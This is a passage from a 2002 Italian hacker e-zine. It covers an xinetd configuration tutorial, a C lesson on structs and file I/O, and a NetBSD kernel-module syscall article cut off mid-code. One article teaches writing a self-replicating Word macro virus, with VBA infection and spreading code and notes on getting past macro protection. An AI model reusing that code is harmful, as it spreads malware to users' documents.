| 2 - decidi cosa loggare in caso di avvenuta connessione. Le opzioni |
| possibili sono : |
| |
| 2.1 - ID (logga l'id del server) |
| 2.2 - HOST (heheh..l'host remoto di provenienza) |
| 2.3 - USERID logga l'id dell'utente collegato |
| 2.4 - DURATION (la durata della connessione) |
| |
| la sintassi è ad esempio log_on_succes = HOST |
| |
| |
| 3 - le regole sono simili a log_on_succes(cambia qualche valore ) ma |
| questa volta vengono applicate ad una fallita connessione(utile per |
| vedere chi compie manovre *strane*), le opzioni sono : |
| |
| 3.1 - HOST (come sopra :) |
| 3.2 - USERID (come sopra) |
| 3.3 - ATTEMPT (indica il motivo per cui non è stato possibile |
| connettersi) |
| |
| |
| IN questo modo sarà possibile,per esempio,loggare l'ip di un lamero |
| che ha provato a connettersi ad una porta di un trojan, se magari era |
| abbastanza furbo,nascondendosi dietro ad un proxy avete guadagnato un |
| punto di bounce :) |
| |
| i log sono simili a questo : |
| |
| |
| 02/5/18@17:59:34: START: hello pid=1119 from=127.0.0.1 |
| 02/5/18@17:59:56: START: hello pid=1122 from=127.0.0.1 |
| |
| ||||||| |||||||| ||||| |||| |||||||| ||||||||||||| |
| DATA ORA azione nome process id provenienza |
| |
| |
| chiu facile r(a) accussì :)) |
| |
| |
| 5 - OPERATORI D'ASSEGNAZIONE |
| |
| Fino ad adesso abbiamo preso in considerazione solo l'operatore |
| d'assegnazione = , ma xinetd accetta anche += e -= che rappresentano |
| rispettivamente l'operatore di maggioranza e di minoranza. Il primo fa |
| si che tutti i valori al di sopra di quello scritto(escluso) siano |
| effettivi. Mentre il secondo prende in considerazione tutti i valori |
| al di sotto di quello dato(escluso). Difficile da dire ma molto |
| semplice da capire. ad esempio |
| |
| |
| |
| instances -= 10 (la decima persona non riuscirà a connettersi) |
| |
| |
| per avere una lista completa di quali attirbuti supportano tutti gli |
| operatori. dare un occhiata alla man page di xinetd.conf |
| |
| |
| 6 - USO FILE ESTERNI |
| |
| |
| mettiamo il caso che siamo molto generosi ed abbiamo diversi server in |
| listening. il file xinetd.conf diventerebbe molto grande e difficile |
| da maneggiare, ogni piccola modifica vorrebbe dire andare alla ricerca |
| della giusta funzione del determinato server e applicare le modifiche. |
| |
| Allora perchè non creare piccoli file esterni con le diverse funzioni |
| da mettere in /etc/xinetd.d ? |
| |
| tutto questo si può fare a patto di rispettare alcune piccole regole: |
| |
| 1- deve essere presente nel file xinetd.conf la riga includedir |
| /etc/xinetd.d/ |
| 2 - il nome del file deve essere lo stesso dell'etichetta definita |
| dopo service |
| |
| proviamo allora a spostare la dicitura del server hello in modo da |
| avere un piccolo file ASCII in /etc/xinetd.d/ |
| |
| [cili0@localhost cili0]$ cat /etc/xinetd.conf |
| # |
| # Simple configuration file for xinetd |
| # |
| # Some defaults, and include /etc/xinetd.d/ |
| |
| defaults |
| { |
| instances = 60 |
| log_type = SYSLOG authpriv |
| log_on_success = HOST PID |
| log_on_failure = HOST |
| cps = 25 30 |
| } |
| |
| includedir /etc/xinetd.d |
| |
| service hello |
| { |
| socket_type = stream |
| protocol = tcp |
| wait = no |
| user = root |
| server = /usr/sbin/in.hello |
| } |
| [cili0@localhost cili0]$ su |
| Password: |
| [root@localhost cili0]# vi /etc/xinetd.conf |
| |
| cancello la parte riguardante ad hello e la copio nel file |
| /etc/xinetd.d/hello |
| |
| [root@localhost xinetd.d]# vi hello |
| [root@localhost xinetd.d]# cat hello |
| ervice hello |
| { |
| socket_type = stream |
| protocol = tcp |
| wait = no |
| user = root |
| server = /usr/sbin/in.hello |
| } |
| [root@localhost xinetd.d]# |
| |
| |
| adesso devo far ripartire xinetd |
| |
| |
| [root@localhost xinetd.d]# ps -ax | grep xinetd |
| 1475 ? S 0:00 xinetd |
| 1491 pts/2 S 0:00 grep xinetd |
| [root@localhost xinetd.d]# kill -12 1475 |
| [root@localhost xinetd.d]# telnet 127.0.0.1 615 |
| Trying 127.0.0.1... |
| Connected to 127.0.0.1. |
| Escape character is '"]'. |
| Hello World! |
| Connection closed by foreign host. |
| [root@localhost xinetd.d]# |
| |
| |
| Ottimo direi :))) |
| |
| |
| 7 - USO CON SERVER STANDARD |
| |
| fino ad adesso ci siamo occupati dell'uso di xinetd comparato a |
| serverini realizzati da noi(il bash script hello.sh ) ma come si |
| comporta xinetd quando installiamo server "seri" ? proviamo ad esempio |
| a rendere operativo un telnet-server. Avendo io una rh posso usufruire |
| degli rpm (ed è quello che farò :) |
| |
| |
| |
| [root@localhost xinetd.d]# cd /mnt/cdrom |
| [root@localhost cdrom]# ls |
| autorun images README.fr RedHat RELEASE-NOTES.fr RPM-GPG-KEY |
| boot.cat README README.it RELEASE-NOTES RELEASE-NOTES.it TRANS.TBL |
| COPYING README.de README.ja RELEASE-NOTES.de RELEASE-NOTES.ja |
| dosutils README.es README.ko RELEASE-NOTES.es RELEASE-NOTES.ko |
| [root@localhost cdrom]# cd RedHat |
| [root@localhost RedHat]# cd RPMS |
| [root@localhost RPMS]# ls tel* |
| telnet-0.17-20.i386.rpm telnet-server-0.17-20.i386.rpm |
| [root@localhost RPMS]# rpm -ivh telnet-server-0.17-20.i386.rpm |
| Preparing... ########################### [100%] |
| 1:telnet-server ########################### [100%] |
| [root@localhost RPMS]# rpm -ql telnet-server | grep xinetd |
| /etc/xinetd.d/telnet |
| [root@localhost RPMS]# |
| |
| come possiamo vedere telnet, come tutti gli altri server, si limita ad |
| aggiungere un file in /etc/xinetd.d/ editiamo il file /etc/hosts.allow |
| e aggiungiamo : |
| |
| in.telnetd:127.0.0.1 |
| |
| killiamo il server e proviamo a connetterci : |
| |
| |
| [root@localhost xinetd.d]# telnet 127.0.0.1 23 |
| Trying 127.0.0.1... |
| telnet: connect to address 127.0.0.1: Connection refused |
| |
| Come mai questo messaggio d'errore ? |
| se andiamo a vedere il file /etc/xinetd.d/telnet noteremo che... |
| |
| [root@localhost xinetd.d]# cat telnet |
| # default: on |
| # description: The telnet server serves telnet sessions; it uses \ |
| # unencrypted username/password pairs for authentication. |
| service telnet |
| { |
| flags = REUSE |
| socket_type = stream |
| wait = no |
| user = root |
| server = /usr/sbin/in.telnetd |
| log_on_failure += USERID |
| disable = yes |
| } |
| |
| |
| come si nota c'è l'opzione disable attivata (yes) questo vuol dire che |
| per dafault il server è disabiliato e quindi non utilizzabile , |
| editando il file e sostituendo a "yes" un "no" succede che : |
| |
| |
| [root@localhost xinetd.d]# vi telnet |
| # default: on |
| # description: The telnet server serves telnet sessions; it uses \ |
| # unencrypted username/password pairs for authentication. |
| service telnet |
| { |
| flags = REUSE |
| socket_type = stream |
| wait = no |
| user = root |
| server = /usr/sbin/in.telnetd |
| log_on_failure += USERID |
| disable = no |
| } |
| |
| [root@localhost xinetd.d]# ps -ax | grep xinetd |
| 799 ? SW 0:00 xinetd -stayalive -reuse -pidfile |
| /var/run/xinetd.pid |
| 1569 pts/1 S 0:00 grep xinetd |
| [root@localhost xinetd.d]# kill -12 799 |
| [root@localhost xinetd.d]# telnet 127.0.0.1 |
| Trying 127.0.0.1... |
| Connected to 127.0.0.1. |
| Escape character is '"]'. |
| Red Hat Linux release 7.2 (Enigma) |
| Kernel 2.4.7-10 on an i586 |
| login: cili0 |
| Password: |
| Last login: Sat May 18 10:43:51 on :0 |
| [cili0@localhost cili0]$ |
| |
| |
| ecco fatto funziona :))) |
| così come telnetd molti (se non tutti..) i demoni utilizzano questo |
| sistema per farsi riconoscere da xinetd, non è perciò salutare |
| bestemmiare una ventina di volte perchè la connessione non avviene con |
| successo ed accorgersi poi che era solo abilitata la funzione di |
| disable :) (ve lo dico per esperienza personale :) |
| |
| |
| 8 - CONCLUSIONE |
| |
| A qualcuno questo articolo potrà esser sembrato scazzante, ma in |
| questi casi mi piace ricordare una frase di colui,che in fondo, ci ha |
| donato la libertà informatica : |
| |
| |
| |
| [cili0@localhost cili0]$ cat linus_frase.txt |
| |
| if your videorecorder is still blinking 0:00, Linux isn't for you |
| (Linus Benedict Torvalds) |
| |
| [cili0@localhost cili0]$ |
| |
| buon proseguimento :) |
| |
| CiLi0 |
| |
| |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #07 - 01/08/2002 |
| PLUS [Mastro] 0x0C/0x19 |
+--------------------------------------------------------------------------+
| Gli articoli apparsi sull'e-zine (dal num. 2 al num. 4) erano |
| materiale utile soprattutto per i neofiti del caso, ma sono vecchi e |
| imprecisi. Avevo anche intenzione di continuarne l'aggiornamento, ma |
| tra una cosa ed un'altra, ho smesso. Rileggendoli mi sono anche |
| accorto di aver tralasciato parti fondamentali sulla diffusione e |
| replicazione del codice, modificare file, ecc.. |
| |
| --- DIFFONDIAMOCI --- |
| |
| Vi è mai capitato di dare un'occhiata al codice di un virus per |
| Word95? |
| A me sì, ed ho notato il comando MacroCopy. |
| Ovviamente serve per copiare macro da documento attivo a Normal. |
| Non so se ne ho già parlato, comunque Normal è il modello sul quale si |
| basa Word, quindi le macro presenti nello stesso non vengono |
| considerate dannose. Basti pensare che ad ogni comando che diamo a |
| Word corrisponde una macro già presente in Normal. Infatti se andate |
| in Word, premete ALT+F8, e in basso nel menù scegliete "Comandi di |
| Word", otterrete la lista di azioni che abitualmente eseguite. |
| Mettiamo il caso che qualcuno voglia modificare il comando FileSalva. |
| Come potete notare il bottone "Modifica" non è abilitato, ma basta |
| selezionare la macro da modificare (FileSalva in questo caso) e sempre |
| nel menù in fondo ("Macro in") scegliere Normal.dot e cliccare su |
| "Crea". |
| A questo punto avete creato una macro FileSalva in Normal, che verrà |
| considerata la REALE FileSalva, quindi eseguita ogni volta che |
| l'utente salva il documento. |
| Volete una conferma? |
| Nel campo della macro clonata scrivete |
| |
| MsgBox "Oggi non salvo, faccio sciopero." |
| |
| Fatto questo tornate in Word e salvate il documento (se ci riuscite). |
| Per ripristinare tutto basta cancellare la FileSalva fasulla. |
| Tornando alla diffusione il comando MacroCopy appartiene alla |
| categoria di quelli di WordBasic, antecedente a VisualBasic e quindi |
| non considerato valido. |
| Forse l'unico modo per farlo funzionare sarebbe anteporre "WordBasic." |
| al comando, quindi in questo caso sarebbe "Wordbasic.MacroCopy". |
| Fortunatamente possiamo anche scartare WordBasic, e passare a |
| VisualBasic. |
| Lo stesso comando viene tradotto in "OrganizerCopy", quindi |
| |
| Application.OrganizerCopy(Source, Destination, Name, Object) |
| |
| Source => Nome e percorso del documento che contiene la macro |
| Destination => Documento in cui copiare la macro |
| Name => Nome della macro |
| Object => Con OrganizerCopy è possibile copiare stili e commandbars, |
| oltre che macro. Nel caso che noi volessimo copiare una macro |
| bisognerebbe selezionare "wdOrganizerObjectProjectItems". |
| |
| Purtroppo anche questo comando ha un bug: deve avere un file |
| "contenitore" per la macro. |
| Quindi propongo di passare oltre. |
| Ecco i comandi migliori: Export e Import. |
| Il percorso è |
| |
| NormalTemplate/ActiveDocument.VBProject.VBComponents("Nome del |
| modello").Export "Percorso in cui salvarlo" |
| e |
| NormalTemplate/ActiveDocument.VBProject.VBComponents.Import "Percorso |
| del modello." |
| |
| In pratica si salva il modello contenente le macro come file |
| "consultatore", che verrà poi inserito nel documento attivo o in |
| Normal. |
| Avete notato "NormalTemplate/ActiveDocument"? |
| Se bisogna importare/esportare il modello da documento attivo basta |
| lasciare ActiveDocument, altrimenti Normal. |
| Potete salvare il modello come qualsiasi file, da modello.dll a |
| modello.exe, fate voi. |
| Mettiamo il caso di voler creare una macro che si copi da documento a |
| Normal e viceversa. |
| Facile, ma aprendo per più volte il documento in Normal ci saranno più |
| modelli, il che non è un problema, ma non ha stile.. |
| Come fare? |
| |
| Contami = NormalTemplate.VBProject.VBComponents.Count |
| --->Conta i moduli in Normal |
| For Nome = 1 To Contami |
| Cerca = NormalTemplate.VBProject.VBComponents(Nome).Name |
| --->Restituisce il nome del modello |
| If Cerca = "Main" Then |
| --->Verifica se è uguale a "Main" |
| Esiste = 1 |
| End If |
| Next |
| If Esiste <> 1 Then |
| --->Se è diverso da 1 |
| NormalTemplate.VBProject.VBComponents.Import "C:\Windows\Fucka.dll" |
| --->Importa il modello |
| End If |
| |
| Questo codice verifica se Normal è già infettato, cercando nello |
| stesso un modello di nome Main, se non esiste lo importa. |
| Per copiarsi da Normal a documento il procedimento è lo stesso, basta |
| sostituire "ActiveDocument" a "NormalTemplate". |
| Adesso anche aprendo più volte il documento infetto Normal verrà |
| infettato solo una volta. |
| Per il salvataggio del modulo non ci sono problemi: |
| |
| Sub AutoExec() |
| ActiveDocument.VBProject.VBComponents("Main").Export |
| "C:\Windows\Fucka.dll" |
| 'Non c'è bisogno di farlo anche da Normal, ma se volete proprio essere |
| sicuri |
| NormalTemplate.VBProject.VBComponents("Main").Export |
| "C:\Windows\Fucka.dll" |
| End Sub |
| |
| Abbiamo creato un virus replicante. |
| Non so se lo avete notato, Word2000 disabilita subito le macro |
| automatiche, e non basta più |
| Options.VirusProtections = False |
| per risistemare le cose. |
| I livelli di protezione vengono "salvati" in una chiave del registro |
| di configurazione, che può essere modificata ma non da codice. |
| Mi è stato detto però che Access abilita le macro AutoExec, a patto |
| che AllowByPassKey sia impostato su True. |
| (Thanx to Xpyto) |
| |
| Un ultima cosa: |
| |
| 'da Word |
| Sendkeys """ & "%" & "-" |
| 'Ma che ha il cursore? |
| |
| Mastro(macro2000@virgilio.it) |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #07 - 01/08/2002 |
| C0RS0 Di C [PARTE SESTA] [AndreaGeddon] 0x0D/0x19 |
+--------------------------------------------------------------------------+
| L'ultima volta abbiamo trattato array e funzioni, in questa parte |
| trattiamo gli array multidimensionali, le strutture e le operazioni con |
| i file. Andiamo per ordine, riprendiamo il discorso degli array. Abbiamo |
| visto che un array è una cosa del tipo: |
| |
| int dati[10]; |
| |
| cioè un blocco di memoria che contiene lo spazio per 10 variabili ti tip |
| int. Ora se estendiamo il discorso potremmo voler usare degli array di |
| array, ovvero avere dei blocchi "matriciali" di dati. Sembra difficile |
| in realtà è semplice: mettiamo il caso che vogliamo gestire le |
| informazioni di una schacchiera, ci servirà una matrice 8 x 8, usando |
| gli array possiamo definirla così: |
| |
| int scacchiera[8][8]; |
| |
| et voilà, abbiamo la nostra matrice di interi. Per accedere agli element |
| ci basterà usare la notazione come per gli array normali: |
| |
| int a = scacchiera[2][3]; |
| |
| se consideriamo il primo blocco come ascissa e il secondo come ordinata |
| con la precedente riga stiamo considerando l'elemento che si trova alle |
| coordinate x = 3 e y = 4 (ricordate che gli array si numerano da 0 ad |
| n-1!). Allo stesso modo potete estendere gli array a multidimensionali, |
| cioè del tipo: |
| |
| int dati[5][5][5]; |
| |
| o quante altre dimensioni volete aggiungere. Ricordate che questi array |
| sono abbastanza pesanti da gestire, di solito è preferibile usare |
| strutture dati dinamiche, comunque dipende sempre dai casi, a voi la |
| scelta! Okey ora che abbiamo spiegato gli array multidimensionali |
| passiamo alle strutture. |
| Le strutture sono dei costrutti che permettono di usare più tipi di dato |
| contemporaneamente. Le strutture si dichiarano usando la parola chiave |
| "struct" nel modo seguente: |
| |
| struct nomestruttura |
| { |
| tipo membro1; |
| tipo membro2; |
| ... |
| tipo membron; |
| } istanza1, istanza2; |
| |
| la struttura può contenere un numero arbitrario di membri, ogni membro |
| può essere di un qualsiasi tipo. Ad esempio se volessimo usare una |
| struttura per rappresentare le informazioni di una persona potremmo |
| definirla così: |
| |
| struct persona |
| { |
| char nome[20]; |
| char cognome[20]; |
| int eta; |
| }persona2; |
| |
| per accedere ai membri di una struttura possiamo usare due operatori, il |
| "." e il "->". Se dichiaramo una struttura come fatto nell'esempio qui |
| sopra allora per riferirci ai membri usiamo: |
| |
| int a = persona2.eta; |
| char b = persona2.nome[5]; |
| |
| etc etc. Notate che "persona" in se e per se è solo un TIPO, per cui per |
| usare la struttura abbiamo dovuto istanziarla con "persona2". Avendo |
| cmq il tipo di struttura possiamo dichiarare una istanza anche |
| semplicemente come si fa con le variabili: |
| |
| persona persona3; |
| |
| in questo caso ho dichiarato una variabile di tipo struttura "persona" e |
| l'ho chiamata persona3, poi posso trattarla come ho fatto per persona2. |
| L'altro operatore invece, il "->", lo usiamo quando non dichiariamo una |
| struttura direttamente ma dichiariamo un puntatore. Ad esempio, sempre |
| prendendo la struttura "persona" sopra definita potremmo avere un codice |
| di questo tipo: |
| |
| persona *persona2; |
| persona2 = (persona*)malloc(sizeof(persona)); |
| persona2->eta = 55; |
| |
| così abbiamo dichiarato un puntatore a struttura persona. Ovviamente il |
| puntatore è solo un puntatore, per cui se vogliamo associarlo ad una |
| struttura dobbiamo prima allocargli la memoria, ecco perchè quindi segue |
| una malloc. La funzione "malloc" è così definita: |
| |
| void *malloc( size_t size ); |
| |
| e serve ad allocare una zona di memoria di grandezza specificata dal |
| parametro "size", e restituisce un puntatore a tale blocco allocato. |
| per cui nel frammento di programma di prima abbiamo usato la malloc |
| passandogli il size della struttura persona, size restituito dallo |
| operatore sizeof(). A questo punto il puntatore "persona2" punta ad un |
| blocco di memoria valido che contiene la struttura di tipo "persona". |
| essendo la struttura riferita da un puntatore useremo quindi il -> per |
| accedere ai membri, come fatto nella riga: |
| |
| persona2->eta = 55; |
| |
| dimendticavo, quando abbiamo mallocato il blocco di memoria avete notato |
| il "(persona*)" davanti alla malloc. La malloc infatti restituisce un |
| void*, per cui ci sarebbero stati problemi di type matching. Ecco quindi |
| che il C ci permette di utilizzare il casting. Il casting non è altro ch |
| un operatore che ci permette di interpretare una variabile secondo un |
| altro significato. Ad esempio: |
| |
| long a; |
| void* b = 0; |
| a = (long)b; |
| |
| se avessimo fatto direttamente a = b il compilatore avrebbe dato un |
| errore in quanto non può assegnare una variabile di tipo "void*" a una |
| di tipo "long", mettendo il (long) davanti a "b" invece gli abbiamo dett |
| di interpretare b come un long e non come un void*, a questo punto il |
| compilatore si trova ad assegnare un long ad un long e non vi darà più |
| problemi. Attenti però che dovete preservare il size delle variabili, ad |
| esempio se volete assegnare ad un char un valore long avreste una |
| probabile perdita di dati (a meno che il long in quel momento non |
| contenga un valore compreso nel range di un char!). |
| Fatto ciò, si passa a parlare di un'altra cosa utile, l'i/o su file. |
| Premetto che stiamo parlando di funzioni ANSI, il discorso è valido sia |
| per windows che per linux o per qualsiasi altro sistema che supporti |
| l'ansi, poi l'apertura di file tramite queste funzioni ansi può essere |
| tradotta in un'altra funzione, ma questo poco importa per ora. Le |
| operazioni principali che servono su un file sono creazione, lettura e |
| scrittura, per tali operazioni abbiamo a disposizione le funzioni fopen, |
| fread e fwrite. fopen non serve solo ad aprire un file, ma anche per |
| crearlo nel caso che il file non esista. Vediamo un piccolo esempio di |
| codice: |
| |
| #include <stdio.h> |
| #include <stdlib.h> |
| |
| int main() |
| { |
| FILE *myfile; |
| size_t size, size2; |
| char *buffer; |
| |
| myfile = fopen("myfile.txt", "a+"); |
| |
| fseek(myfile, 0, SEEK_END); |
| size = (size_t)ftell(myfile); |
| fseek(myfile, 0, SEEK_SET); |
| |
| buffer = (char*)malloc((2*size)+1); |
| size = fread(buffer, sizeof(char), size, myfile); |
| buffer[size] = '\0'; |
| printf("hai letto %d caratteri:\n%s\n", size, buffer); |
| |
| fseek(myfile, 0, SEEK_END); |
| size = fwrite(buffer, sizeof(char), size, myfile); |
| size = ftell(myfile); |
| fseek(myfile, 0, SEEK_SET); |
| fread(buffer, sizeof(char), size, myfile); |
| buffer[size] = '\0'; |
| printf("ora ci sono %d caratteri:\n%s\n", size, buffer); |
| fclose(myfile); |
| return 0; |
| } |
| |
| questo programma apre il file c:\myfile.txt, legge il contenuto e lo |
| stampa su schermo, poi con fwrite gli attacca la stringa letta ed infine |
| mostra lo stato finale del file. In pratica raddoppia di volta in volta |
| la stringa letta. Partiamo dall'inizio: l'apertura del file; abbiamo |
| usato la funzione fopen, questa funzione prende come primo parametro il |
| nome del file (nel nostro caso myfile.txt, lo prende nella stessa dir |
| dove si trova il programma che state eseguendo) e come secondo parametro |
| il modo di apertura del file. I modi principali sono "r", "w" e "a", r |
| sta per read, w sta per write e a per append. I primi due sono semplice |
| modalità lettura e scrittura, append invece apre il file senza eliminare |
| il suo contenuto. Il "+" che segue questi valori significa che il file |
| viene aperto sia in lettura che scrittura. Nota che con r il file deve |
| esistere per poter essere aperto, con w se il file esiste il suo |
| contenuto viene cancellato. Ok, una volta aperto il file ci viene |
| restituito un puntatore ad una struttura di tipo FILE, questo puntatore |
| sarà l'identificativo del file che stiamo usando, per cui lo salviamo in |
| una nostra variabile. Dopo aver aperto il file ci apprestiamo a leggerlo |
| Per poterlo leggere ci serve un buffer che conterrà i dati letti, quindi |
| ce lo dobbiamo allocare! Per poterlo allocare però ci serve il size del |
| file, come lo otteniamo? Usando fseek e ftell. fseek serve per spostare |
| il file pointer a piacimento, e ftell serve per ottenere la posizione de |
| file pointer. Quello che facciamo è quindi usare fseek con parametro |
| SEEK_END che sposta il file pointer alla fine del file, chiamiamo ftell |
| che ci indica la posizione numerica dell'ultimo byte (l'ultimo byte |
| rappresenta la grandezza del file!), una volta letto l'ultimo byte usiam |
| di nuovo fseek ma stavolta con parametro SEEK_SET che serve a riportare |
| il file pointer all'inizio del file. Fatto ciò abbiamo il size del file, |
| per cui non ci resta che allocare lo spazio necessario con una malloc: |
| malloc((2*size)+1), alloco il doppio perchè successivamente leggerò la |
| stringa duplicata nel file, aggiungo 1 perchè è sempre avere qualche byt |
| in più per evitare sgradevoli overflow :-). Tadaa! Ora finalmente |
| possiamo leggere il file. Usiamo fread, con sizeof(char) gli indichiamo |
| il size degli item da leggere, e con size il numero degli item. Di solit |
| gli item sono bytes. Quindi gli passiamo il nostro buffer come parametro |
| che verrà riempito con la stringa letta. La funzione restituisce il |
| numero di caratteri letti, quindi stampiamo con printf sia il numero di |
| caratteri letti sia la stringa letta. A questo punto per appendere di |
| nuovo la stringa letta al file prima usiamo fseek come prima per spostar |
| il file pointer alla fine del file, quindi usiamo un fwrite in modo del |
| tutto simile a fread. Anche fwrite ritorna il numero di char scritti. A |
| questo punto prendiamo il size del nuovo file (dopo l'appending il file |
| pointer si trova alla fine del file), resettiamo il file pointer a zero, |
| rileggiamo il contenuto del file e stampiamo il tutto. Se usiamo come |
| input un file che contiene solo la stringa "ab" l'output sarà: |
| |
| hai letto 2 caratteri: |
| ab |
| hai scritto 4 caratteri: |
| abab |
| |
| et voilà, anche l'uso dei file è semplicissimo. A questo punto sono stat |
| trattati i principali argomenti della programmazione in C e già dovreste |
| essere in grado di scrivere codice abbastanza complesso. Arrivati qui pe |
| proseguire bisogna spostare lo studio dal linguaggio al sistema operativ |
| su cui vi trovate a programmare. In effetti il linguaggio è solo uno |
| strumento con il quale voi utilizzate le caratteristiche del sistema |
| operativo, sia esso linux, windows o che altro. E' buona norma conoscere |
| bene anche l'architettura hardware su cui state lavorando, anzi direi ch |
| la conoscenza dell'hw e del sistema operativo sono fondamentali. Per il |
| prossimo capitolo non so cosa tratterò, comunque buono studio, ci vediam |
| nel prossimo numero! |
| |
| Bye! |
| AndreaGeddon |
| www.andreageddon.8m.com |
| www.quequero.cjb.net |
| andreageddon@hotmail.com |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #07 - 01/08/2002 |
| USELESS NETBSD M0DULE 2 [_beb0s_] 0x0E/0x19 |
+--------------------------------------------------------------------------+
| - --- -- - - -[ 'the syscalling' chiamata al kernel ]- - - -- --- |
| - --- -- - - - _ovvero il modulo inutile 2_ - - - -- --- |
| -[ beb0s at autistici dot org ]- |
| |
| [ prefazione ] |
| |
| benvenuti alla seconda puntata della saga 'il modulo inutile'. in questa |
| puntata spero di chiarire alcune cose che nella volta scorsa sembravano |
| un po' capitate li' per caso. inoltre finalmente ci addentriamo nelle |
| strutture del kernel aggiungendo una syscall. |
| |
| [ innanzi tutto ] |
| |
| salve! spulciando un'altro po' le sorgenti del kernel ho scoperto un |
| paio di cose interessanti riguardo le macro che abbiamo usato la volta |
| scorsa per scrivere il modulo : |
| |
| [ il modulo nudo e crudo ] |
| |
| allora MOD_MISC("useless") si traduce in |
| |
| static struct lkm_misc _module = { |
| LM_MISC, |
| LKM_VERSION, |
| "useless" |
| }; |
| |
| la stuttura lkm_misc e' definita sempre in sys/lkm.h ed e' cosi' |
| composta: |
| |
| struct lkm_misc { |
| MODTYPE lkm_type; /* tipo del modulo */ |
| int lkm_ver; /* versione del modulo |
| */ |
| char *lkm_name; /* nome */ |
| u_long lkm_offset; /* offset, puo' indicare lo slot nel |
| */ |
| /* quale abbiamo inserito la nostra |
| */ |
| /* syscall/device/vfs/ecc |
| */ |
| /* in realta' ci sono altre cose qui. esse sono utili in vari |
| */ |
| /* casi ma ora come ora le ignoreremo |
| */ |
| } |
| |
| poi ... ri-esaminiamo bene la macro DISPATCH: |
| |
| #define DISPATCH(lkmtp,cmd,ver,load,unload,stat) |
| if (ver != LKM_VERSION) |
| return EINVAL; /* version mismatch */ |
| switch (cmd) { |
| int error; |
| case LKM_E_LOAD:
|
| lkmtp->private.lkm_any = (struct lkm_any *)&_module; |
| /* """""""""""""""""""""""""""""""""""""""""""""""""""" |
| */ |
| /* questa riga, al caricamento del modulo inizializza |
| */ |
| /* la struttura lkmtp facendo puntare private alla |
| */ |
| /* alla nostra struttura _module |
| */ |
| /* bla bla */ |
| case LKM_E_UNLOAD: |
| /* bla bla */ |
| case LKM_E_STAT: |
| /* bla bla */ |
| } |
| return lkmdispatch(lkmtp, cmd); |
| /* """"""""""""""""""""""" |
| */ |
| /* e questa ?? lkmdispatch si trova in kern/kern_lkm.c e, |
| */ |
| /* udite udite, oltre a gestire i comandi di inserimento |
| e */ |
| /* rimozione del modulo, contiene anche tutto il codice |
| */ |
| /* necessario per l'inserimento delle nostre routine |
| */ |
| /* nelle strutture del kernel ( per quanto detto la volta |
| */ |
| /* scorsa cio' non si applica ai moduli tipo miscelaneous |
| */ |
| /* che devono fare tutto da soli ) |
| */ |
| |
| la struttura struct lkm_table lkmtp che viene passata alla funzione |
| entry del nostro modulo contiene lkmtp->private la quale e' un unione |
| delle strutture dei diversi tipi di moduli (lkm_syscall, lkm_vfs, |
| lkm_dev, |
| lkm_misc, ecc). questo permette a DISPATCH di funzionare per moduli di |
| qualunque tipo. (se non mi sono spiegato guardate sys/lkm.h e capirete |
| tutto :) |
| |
| quanto scoperto ci permette di scrivere una nuova versione del nostro |
| modulo evitando l'utilizzo delle macro e rendendo piu' trasparente il |
| funzionamento del modulo stesso. |
| |
| <-- cut here - start - [useless_module_3.c] - --> |
| #include <sys/param.h> |
| #include <sys/ioctl.h> |
| #include <sys/systm.h> |
| #include <sys/conf.h> |
| #include <sys/mount.h> |
| #include <sys/exec.h> |
| #include <sys/lkm.h> |
| #include <sys/file.h> |
| #include <sys/errno.h> |
| #include <sys/syscall.h> |
| |
| static struct lkm_misc _module = { |
| LM_MISC, |
| LKM_VERSION, |
| "useless" |
| }; |
| |
| int useless_load(lkmtp, cmd) |
| struct lkm_table *lkmtp; |
| int cmd; |
| { |
| printf("hello world!\n"); |
| printf("i'm in the kernel now\n"); |
| return 0; |
| } |
| |
| int useless_unload(lkmtp, cmd) |
| struct lkm_table *lkmtp; |
| int cmd; |
| { |
| printf("good bye kernel\n"); |
| printf("i'm leaving now\n"); |
| return 0; |
| } |
| |
| useless_lkmentry(lkmtp, cmd, ver) |
| struct lkm_table *lkmtp; |
| int cmd; |
| int ver; |
| { |
| int error = 0; /* success = 0 */ |
| |
| if (ver != LKM_VERSION) |
| return EINVAL; |
| |
| switch (cmd) { |
| case LKM_E_LOAD: |
| lkmtp->private.lkm_misc = &_module; |
| error = useless_load(lkmtp, cmd); |
| break; |
| case LKM_E_UNLOAD: |
| error = useless_unload(lkmtp, cmd); |
| break; |
| } |
| return error; |
| } |
| <-- cut here - end - [useless_module_3.c] - --> |
| |
| ho volutamente tralasciato la gestione del comando LKM_E_STAT in quanto |
| non ci interessa. compilatelo come sempre e dovrebbe funzionare quanto |
| quello prima (in effetti abbiamo 'solo riscritto' e tolto un po' di |
| codice inutile). |
| |
| [ hard things ] |
| |
| dal momento in cui il nostro modulo viene caricato nel kernel esso ha |
| accesso a tutte le funzioni e le strutture dati in esso presenti. il |
| procedimento per creare un nuovo device (o una syscall o un fs) si basa |
| proprio su questo: tutto quello che dobbiamo fare e' aggiungerci alla |
| tabella dei device (o delle syscall o dei fs, ecc). per esempio proviamo |
| ad aggiungere una nuova syscall; la lista alla quale dobiamo aggiungerci |
| (quella che contiene la lista delle syscall) si chiama sysent ed e' |
| definita in kern/init_sysent.c. dobbiamo solamente interare su questa |
| lista fino a trovare uno slot libero (cioe' una syscall vuota) per poi |
| rimpiazzarlo con un puntatore alla nostra syscall. vediamo il codice. |
| |
| <-- cut here - start - [useless_module_4.c] - --> |
| #include <sys/param.h> |
| #include <sys/ioctl.h> |
| #include <sys/systm.h> |
| #include <sys/conf.h> |
| #include <sys/mount.h> |
| #include <sys/exec.h> |
| #include <sys/lkm.h> |
| #include <sys/file.h> |
| #include <sys/errno.h> |
| #include <sys/syscall.h> |
| |
| /* sys_lkmnosys rappresenta una syscall vuota, dato che questo simbolo |
| non viene esportato dal kernel lo copio pari pari dalle sorgenti */ |
| extern int sys_lkmnosys __P((struct proc *, void *, register_t *)); |
| |
| int useless_syscall(struct proc *, void *, register_t *); |
| |
| static struct lkm_misc _module = { |
| LM_MISC, |
| LKM_VERSION, |
| "useless", |
| -1 /* in offset memorizzeremo il |
| numero */ |
| /* dell slot in cui ci siamo |
| inseriti */ |
| }; |
| |
| /* questa e' la struttura per la nostra syscall */ |
| struct sysent useless_sysent = { |
| 0, /* numero di argomenti |
| */ |
| 0, /* dimensione totale degli |
| argomenti */ |
